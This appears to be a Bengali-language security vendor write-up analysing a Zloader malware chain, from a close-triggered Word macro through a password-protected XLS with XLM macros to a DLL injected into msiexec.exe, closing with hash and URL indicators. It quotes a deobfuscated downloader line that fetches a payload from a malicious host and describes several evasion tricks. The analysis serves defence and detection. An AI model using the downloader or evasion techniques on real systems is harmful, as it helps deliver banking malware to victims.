Zloader ওরফে Terdot - কুখ্যাত Zeus ব্যাংকিং ম্যালওয়্যারের একটি রূপ, যা ".xls", ".xlsx" ডকুমেন্টগুলিকে তার পেলোড সরবরাহ করার জন্য আক্রমণাত্মকভাবে ব্যবহার করার জন্য সুপরিচিত। তা সত্ত্বেও, সম্প্রতি আমরা ".docm" ফাইলটি দেখতে পেয়েছি যা Zloader পরিবার তাদের প্রাথমিক কার্যকলাপ সম্পাদনের জন্য ব্যবহার করছে। এটি দেখায় যে বিরোধীরা নিরাপত্তা সমাধান দ্বারা সনাক্ত না হওয়ার জন্য অফিস ডকুমেন্টগুলি নিয়ে পরীক্ষা-নিরীক্ষা করতে পছন্দ করে।
প্রাথমিক ভেক্টর:
এখানে সংক্রমণের ধারাটি “.docm” ফাইল থেকে শুরু হয়। Docm-এর পূর্ণরূপ হলো “ম্যাক্রো-সক্ষম অফিস ওয়ার্ড ডকুমেন্ট”। আমরা নিচে দেখতে পাচ্ছি, ডকুমেন্ট ভিউটি ব্যবহারকারীকে কন্টেন্ট সক্ষম করতে বলছে।
অন্যান্য অনেক ডকুমেন্টের মতো, আমরা কন্টেন্ট সক্রিয় করার পরে এর কার্যকলাপ পর্যবেক্ষণ করার চেষ্টা করেছি কিন্তু এতে কোনও কার্যকলাপ দেখা যায়নি। এর VBA কোড দেখে আমরা আমাদের উত্তর পেয়েছি। কন্টেন্ট সক্রিয় করলে ম্যাক্রো কার্যকর হবে না। এখানে ম্যাক্রো কার্যকরকরণ "ডকুমেন্ট বন্ধ"-এ শুরু হয় যেমন দেখানো হয়েছে।
ভুক্তভোগী এই ডকুমেন্টটি বন্ধ করার সাথে সাথেই “nnn” ফাংশনটি কল হয়, যা এই VBA ম্যাক্রোটির প্রধান ফাংশন। এর ভেতরে আবার সাব-ফাংশনগুলো কল করা হয়। এখানে আক্রমণকারীরা পরবর্তী ধাপের কার্যকলাপ সম্পাদনের জন্য “ইউজারফর্ম” -এরও ব্যবহার করে।
UserForm_Initialize() ফাংশনটি “Userform2” চালু করার জন্য ব্যবহৃত হয়। নিচের ছবিতে userform2 অবজেক্টটি দেখানো হয়েছে। এর ডায়ালগ বক্সে, url ডেটা ২৫তম কম্বোবক্সে চাঙ্ক করা হয়েছে এবং ওভারল্যাপ করা হয়েছে যাতে নীচে দেখানো হয়েছে যে প্রকৃত ডেটা লুকানো যায়।
userform2 এর সমস্ত ComboBox ঘুরে দেখার পর, আমরা ক্ষতিকারক url খুঁজে পেতে সক্ষম হয়েছি যা দ্বিতীয় পর্যায়ের পেলোড ডাউনলোড করতে ব্যবহৃত হয়।
উপরের কার্যকলাপের সারসংক্ষেপে, প্রতিপক্ষরা এই সমস্ত মান অ্যাক্সেস করতে এবং নীচে দেখানো হিসাবে চূড়ান্ত url তৈরি করতে for লুপ ব্যবহার করছে,
“hxxps[:]//feelingfit-always[.]com/1[.]php” সাইটটি ক্ষতিকারক, যার ভাইরাসের মোট স্কোর ১১, পাসওয়ার্ড সুরক্ষিত XLS ফাইল ডাউনলোড করতে ব্যবহৃত হয়। এর পাসওয়ার্ডটি আবার “Userform11” এর VBA ম্যাক্রোতে লুকানো থাকে। userform1 ডেটা অন্বেষণ করে, আমরা লুকানো পাসওয়ার্ড বের করতে সক্ষম হয়েছি।
২ য় পর্যায়ের পেলোড:
AV বিক্রেতাদের বিরুদ্ধে ডকুমেন্টকে পাসওয়ার্ড দিয়ে সুরক্ষিত করা একটি ক্লাসিক কৌশল। আরও বিশ্লেষণের জন্য সঠিক পাসওয়ার্ড প্রয়োজন। উপরের পাসওয়ার্ডটি মেলানোর পরে, আমরা অবশেষে এক্সেল ওয়ার্কবুকের বিষয়বস্তু দেখতে পাব। আরও কার্যকলাপ সম্পাদনের জন্য "Sheet3" এ XLM ম্যাক্রো ব্যবহার করা হয়।
এখানে কোডটি ডকুমেন্টের বিভিন্ন কক্ষে এমবেড করা আছে। নিচের চিত্রে উপরের ওয়ার্কবুক থেকে এক্সট্র্যাক্ট করা ম্যাক্রো কোডটি দেখানো হয়েছে:
এখানে প্রতিপক্ষরা এক্সেলের অন্তর্নির্মিত ফাংশন যেমন IIF এবং Switch ব্যবহার করে ডেটা অবরুদ্ধ করে। চূড়ান্ত ডি-অবরুদ্ধ কোডটি নীচে দেখা যাবে,
WinHttp.WinHttpRequest.5.1.open GET https[:]//santarosafuneralhome[.]com/2.php মিথ্যা
WinHttp.WinHttpRequest.5.1.SetRequestHeader সম্পর্কে
WinHttp.WinHttpRequest.5.1.send সম্পর্কে
এই আক্রমণের তৃতীয় পর্যায়ের পেলোড ডাউনলোড করতে ভাইরাসের মোট স্কোর ৮ থাকা উপরের ক্ষতিকারক URL ব্যবহার করা হয়।
চূড়ান্ত পেলোড বিশ্লেষণ:
DLL হল Zloader এর চূড়ান্ত পেলোড। এখানে DLL অত্যন্ত অস্পষ্ট এবং Windows API গুলিতে সরাসরি কল এড়িয়ে চলে। হ্যাশিং ঠিকানা গণনা করতে ব্যবহৃত হয় এবং গণনা করা মানগুলি দিয়ে কল করে, যার ফলে বিপরীতকরণ কঠিন হয়ে পড়ে।
DLL 'msiexec.exe' প্রক্রিয়া তৈরি করে, যা একটি আসল মাইক্রোসফ্ট প্রক্রিয়া যা উইন্ডোজ কম্পোনেন্ট ইনস্টলারের অন্তর্গত, সাসপেন্ডেড মোডে এবং এতে এনক্রিপ্ট করা ফাইল ইনজেক্ট করে।
এটি এমন একটি রুটিনও ইনজেক্ট করে যা ডিক্রিপ্ট করবে এবং কার্যকর করার জন্য ক্ষতিকারক PE বের করে আনবে।
থ্রেড কনটেক্সট সেট করার সাথে সাথে, প্রাথমিক এক্সিকিউশন পয়েন্টটি পাস করা হয় এবং অবশেষে ইনজেক্ট করা কোডটি রিজিউম থ্রেডের মাধ্যমে এক্সিকিউট করা হয়।
যখন msiexec.exe এর এই থ্রেডটি কার্যকর করা হয়, তখন এটি তার CnC সার্ভারের সাথে সংযোগ স্থাপনের চেষ্টা করে যেমন দেখানো হয়েছে,
যেহেতু বিশ্লেষণের সময় এই URL গুলি ডাউন ছিল, তাই আমরা এর আরও গভীরে যেতে পারিনি।
উপসংহার:
এই ধরণের আক্রমণ দেখায় যে প্রতিপক্ষরা কীভাবে আক্রান্ত ব্যক্তিকে আপস করার জন্য সংক্রমণ শৃঙ্খল শুরু করার জন্য তাদের পদ্ধতি উদ্ভাবন করে। ব্যবহারকারীর সর্বদা অফিসের ফাইল খোলার সময় সতর্ক থাকা উচিত। দ্রুত নিরাময় এবং Seqrite এন্টারপ্রাইজ নিরাপত্তা সমাধান এই ধরনের ফাইল থেকে গ্রাহকদের রক্ষা করুন। তাই, এন্ডপয়েন্ট সিকিউরিটি সলিউশন সবসময় আপডেট রাখতে ভুলবেন না।
IOCs:
ডকম:
117fafb46f27238351f2111e8f01416412044238d2f8378a285063eb9d4eef3d
409ed829f19024045d26cc5d3a06e15a097605e13ba938875eca054a7a4a30b1
91aa050536d834947709776af40c2fde49471d28231de50df0d324cd55101df4
XLS: 52d071922413a3be8815a76118a45bf13d8d323b73ba42377591fd68c59dfc89
URL টি:
https[://]tiodeitidampheater.tk/post.php
https[://]actes-etatcivil.com/post.php
https[://]ankaracreatif.com/post.php
https[://]www.ramazanyildiz.net/post.php
https[://]hispaniaeng.com/post.php
https[://]www.ifdd.francophonie.org/post.php
বিষয় বিশেষজ্ঞ
অঞ্জলি রাউত
প্রিয়াঙ্কা শিন্ডে
